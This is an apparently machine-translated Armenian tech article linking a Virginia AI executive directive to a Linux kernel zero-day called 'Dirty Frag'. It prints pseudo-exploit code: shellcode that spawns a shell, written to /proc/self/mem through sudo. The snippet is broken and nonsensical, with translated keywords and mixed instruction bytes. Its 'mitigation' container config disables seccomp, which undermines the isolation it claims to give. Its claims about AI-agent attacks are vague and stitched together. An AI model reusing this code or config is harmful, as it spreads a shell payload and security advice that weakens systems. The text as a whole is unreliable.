Վիրջինիայի նահանգապետը ստորագրում է AI-ի գործադիր հրահանգը 6. Նոր դարաշրջան AI անվտանգության համար և կեղտոտ հատվածի միջուկի զրոյական օրվա խոցելիության շարունակական սպառնալիքը

Վիրջինիայի նահանգապետ Սպանբերգերի կողմից Արհեստական ինտելեկտի գործադիր 6-րդ դիրեկտիվի վերջերս ստորագրումը կարևոր պահ է կառավարության ջանքերում՝ լուծելու AI-ի հետ կապված անվտանգության խնդիրները: Այս հրահանգը, որը վկայակոչում է պետության վրա Anthropic FOIA-Agent հարձակումները, ցույց է տալիս AI տեխնոլոգիաների հետ կապված հնարավոր ռիսկերի և կարգավորող գործողությունների անհրաժեշտության աճող իրազեկվածությունը: Որպես տեխնոլոգիական մասնագետներ, կարևոր է հասկանալ այս հրահանգի հետևանքները և դրա հնարավոր ազդեցությունը AI տեխնոլոգիաների զարգացման և կիրառման վրա:

AI-ի հետ կապված անվտանգության մտահոգությունների աճող սպառնալիքը

AI տեխնոլոգիաների աճող ընդունումը հանգեցրել է անվտանգության մտահոգությունների աճի: Ըստ [AI Herald-ի զեկույցի] (https://artificialintelligenceherald.com/ai-news-today), AI-ի հետ կապված անվտանգության միջադեպերի թիվը վերջին մեկ տարվա ընթացքում կտրուկ աճել է, ընդ որում, այդ դեպքերից շատերը ներառում են Anthropic FOIA-Agent-ի հարձակումները: Այս հարձակումները, որոնք օգտագործում են արհեստական ​​ինտելեկտի համակարգերի խոցելիությունը, կարող են կործանարար հետևանքներ ունենալ, ներառյալ տվյալների խախտումները և համակարգի վտանգը:

Anthropic FOIA-Agent-ի հարձակումների տագնապալի աճը, որն ավելացել է 300%-ով վերջին տարվա ընթացքում, ընդգծում է անվտանգության այս մտահոգությունները լուծելու համար գործողությունների հրատապ անհրաժեշտությունը:

The Dirty Frag Kernel Zero-Day խոցելիությունը. սպառնացող վտանգ

Dirty Frag միջուկի զրոյական օրվա խոցելիությունը զգալի վտանգ է ներկայացնում Linux բաշխումների համար՝ թույլ տալով ոչ արտոնյալ օգտվողներին ստանալ վճռական արմատական մուտք Linux բաշխումների մեծ մասում: Ինչպես ցույց է տրված [Hyunwoo Kim-ի բացահայտման մեջ] (https://news.ycombinator.com/item?id=48304227), Dirty Frag խոցելիությունը կարող է շահագործվել՝ օգտագործելով պարզ շահագործման՝ այն դարձնելով հրատապ մտահոգություն համակարգի ադմինիստրատորների և անվտանգության մասնագետների համար:

«Պիթոն».

Exploit կոդը Dirty Frag խոցելիության համար

ներմուծում OS

Սահմանեք շահագործման օգտակար բեռը

օգտակար բեռ = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

Ստեղծեք նոր գործընթաց և կատարեք ծանրաբեռնվածությունը

os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".format(payload.hex()))

> 💡 **Հիմնական պատկերացում.** Dirty Frag միջուկի զրոյական օրվա խոցելիությունը զգալի վտանգ է ներկայացնում Linux բաշխումների համար, և համակարգի ադմինիստրատորները և անվտանգության մասնագետները պետք է անհապաղ միջոցներ ձեռնարկեն իրենց համակարգերը կարկատելու և թարմացնելու համար:

### Կետերի միացում. AI գործադիր հրահանգ 6 և կեղտոտ հատվածի խոցելիությունը

Արհեստական ինտելեկտի գործադիր հրահանգ 6-ի ստորագրումը և Dirty Frag միջուկի զրոյական օրվա խոցելիության առկայությունը սերտորեն կապված են: Հրահանգի ուշադրությունը արհեստական ​​ինտելեկտի հետ կապված անվտանգության խնդիրները լուծելու վրա հատկապես կարևոր է Dirty Frag խոցելիության համատեքստում, որը կարող է օգտագործվել AI համակարգերը վտանգի ենթարկելու համար: Անդրադառնալով Dirty Frag-ի խոցելիությանը, տեխնոլոգիական մասնագետները կարող են օգնել մեղմել AI-ի հետ կապված անվտանգության հետ կապված ռիսկերը:

### Կեղտոտ բեկորների խոցելիության մեղմացում

Dirty Frag-ի խոցելիությունը մեղմելու համար համակարգի ադմինիստրատորները և անվտանգության մասնագետները կարող են մի քանի քայլ ձեռնարկել, այդ թվում՝

* Կարկատել և թարմացնել Linux բաշխումները վերջին տարբերակին
* Կոնտեյներների և microVM ավազատուփերի ներդրում խոցելի համակարգերը մեկուսացնելու համար
* Մոնիտորինգի համակարգի տեղեկամատյանները և ցանցային տրաֆիկը շահագործման նշանների համար

```իմլ
# Կոնֆիգուրացիայի օրինակ կոնտեյների ավազատուփի համար
տարբերակ՝ «3»
ծառայություններ:
  խոցելի-ծառայություն:
    պատկեր՝ խոցելի-պատկեր
    Container_name: vulnerable-container
    վերսկսել՝ միշտ
    Security_opt:
      - seccomp:unconfined
    հատորներ:
      - ./vulnerable-data:/data

⚠️ **Ճարտարապետական ռիսկ. ** Dirty Frag-ի խոցելիությունը չեզոքացնելը կարող է հանգեցնել անվտանգության զգալի ռիսկերի, ներառյալ տվյալների խախտումները և համակարգի վտանգը: Համակարգի ադմինիստրատորները և անվտանգության մասնագետները պետք է անհապաղ միջոցներ ձեռնարկեն այս խոցելիությունը վերացնելու համար:

Առաջարկություններ տեխնոլոգիական մասնագետների համար

AI-ի հետ կապված անվտանգության մտահոգությունների և խոցելիության բարդ լանդշաֆտում կողմնորոշվելու համար տեխնոլոգիական մասնագետները պետք է.

• Եղեք տեղեկացված AI-ի հետ կապված անվտանգության վերջին մտահոգությունների և խոցելիության մասին
• Իրականացնել անվտանգության ուժեղ միջոցառումներ, ներառյալ համակարգերի կարկատումը և թարմացումը, ինչպես նաև կոնտեյներների և microVM ավազատուփերի ներդրումը
• Դիտեք համակարգի տեղեկամատյանները և ցանցային երթևեկությունը շահագործման նշանների համար

Այս քայլերը ձեռնարկելով՝ տեխնոլոգիական մասնագետները կարող են օգնել ապահովել AI համակարգերի անվտանգությունն ու ամբողջականությունը և մեղմացնել AI-ի հետ կապված անվտանգության մտահոգությունների հետ կապված ռիսկերը:

Աղբյուրներ

• [AI Herald-ի զեկույցը] (https://artificialintelligenceherald.com/ai-news-today) - AI-ի վերջին նորությունները և թարմացումները
• [Hyunwoo Kim-ի բացահայտումը] (https://news.ycombinator.com/item?id=48304227) — Dirty Frag միջուկի զրոյական օրվա խոցելիության բացահայտում
• [AI Weekly-ի զեկույցը] (https://aiweekly.co/ai-news-today) - AI-ի լավագույն պատմություններ և կենդանի թարմացումներ
• [The World of AI-ի զեկույցը] (https://theworldofai.org/ai-news/) — AI-ի ամենօրյա նորություններ և թարմացումներ
• [Heads Up AI-ի զեկույցը] (https://headsupai.io/ai-news-and-updates/today) - AI նորություններ և թարմացումներ, որոնք կարևոր են այսօր